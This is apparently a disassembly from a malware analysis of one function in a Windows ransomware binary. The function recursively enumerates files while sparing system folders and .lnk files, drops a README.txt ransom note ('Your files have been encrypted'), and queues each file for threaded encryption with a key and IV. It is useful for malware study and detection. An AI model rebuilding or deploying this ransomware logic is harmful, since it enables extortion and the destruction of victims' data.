Function at 0x1400016c8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b8]
sub rsp, 0x6b8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
and qword [rsp + 0x50], 0
lea rax, str.C:Windows
mov r12, qword [rbp + 0x620]
mov rsi, rcx
lea rcx, str.C:UsersDefault
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rcx
mov rbx, r8
lea rcx, str.C:UsersPublic
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x48], rcx
mov r15d, r9d
mov r13, rdx
xor edi, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
je 0x14000197e
mov rax, qword [rsp + rdi*8 + 0x40]
inc rdi
test rax, rax
jne 0x140001739
mov r9, rsi
lea r8, str._s
mov edx, 0x200
lea rcx, [rbp + 0x3a0]
call fcn.1400010f8
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000197e
lea rdx, [0x1400045c8]
lea rcx, [rbp - 0x74]
call qword [sym.imp.ucrtbased.dll_strcmp]
test eax, eax
je 0x14000195f
lea rdx, [0x1400045cc]
lea rcx, [rbp - 0x74]
call qword [sym.imp.ucrtbased.dll_strcmp]
test eax, eax
je 0x14000195f
lea rax, [rbp - 0x74]
mov r9, rsi
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x200
lea rcx, [rbp + 0x1a0]
call fcn.1400010f8
test byte [rsp + 0x60], 0x10
je 0x14000181b
cmp r15d, 3
jge 0x14000195f
lea r9d, [r15 + 1]
mov qword [rsp + 0x20], r12
mov r8, rbx
lea rcx, [rbp + 0x1a0]
mov rdx, r13
call fcn.1400016c8
jmp 0x14000195f
mov edx, 0x2e
lea rcx, [rbp - 0x74]
call qword [sym.imp.VCRUNTIME140D.dll_strrchr]
mov rcx, rsi
mov rdi, rax
call fcn.140001664
test eax, eax
jne 0x1400018b0
test rdi, rdi
je 0x140001852
lea rdx, str..lnk
mov rcx, rdi
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
je 0x1400018b0
mov rcx, rsi
call fcn.140001664
test eax, eax
jne 0x1400018b0
mov r9, rsi
lea r8, str._sREADME.txt
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0xa0]
call fcn.1400010f8
lea rdx, [0x140004518]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ucrtbased.dll_fopen]
mov rdi, rax
test rax, rax
je 0x1400018b0
mov r8, r12
lea rdx, str.Your_files_have_been_encrypted._nYour_personal_ID:__s_nWhat_can_you_do_about_it__nStart_all_over_again.
mov rcx, rax
call fcn.140001008
mov rcx, rdi
call qword [sym.imp.ucrtbased.dll_fclose]
mov ecx, 0x38
call qword [sym.imp.ucrtbased.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000195a
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.ucrtbased.dll__strdup]
mov qword [rbx], rax
test rax, rax
je 0x140001951
lea rcx, [rbx + 8]
mov r8d, 0x20
mov rdx, r13
call qword [sym.imp.VCRUNTIME140D.dll_memcpy]
mov rdx, qword [rsp + 0x30]
lea rcx, [rbx + 0x28]
mov r8d, 0x10
call qword [sym.imp.VCRUNTIME140D.dll_memcpy]
lea r8, [0x140006680]
mov rdx, rbx
lea rcx, [0x140001150]
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test rax, rax
je 0x14000192b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x14000195a
mov rcx, qword [rbx]
call qword [sym.imp.ucrtbased.dll_strlen]
mov rdi, qword [rbx]
mov rcx, rax
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rbx]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
mov rdi, rbx
lea ecx, [rax + 0x38]
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.ucrtbased.dll_free]
mov rbx, qword [rsp + 0x30]
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001794
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.140002020
add rsp, 0x6b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret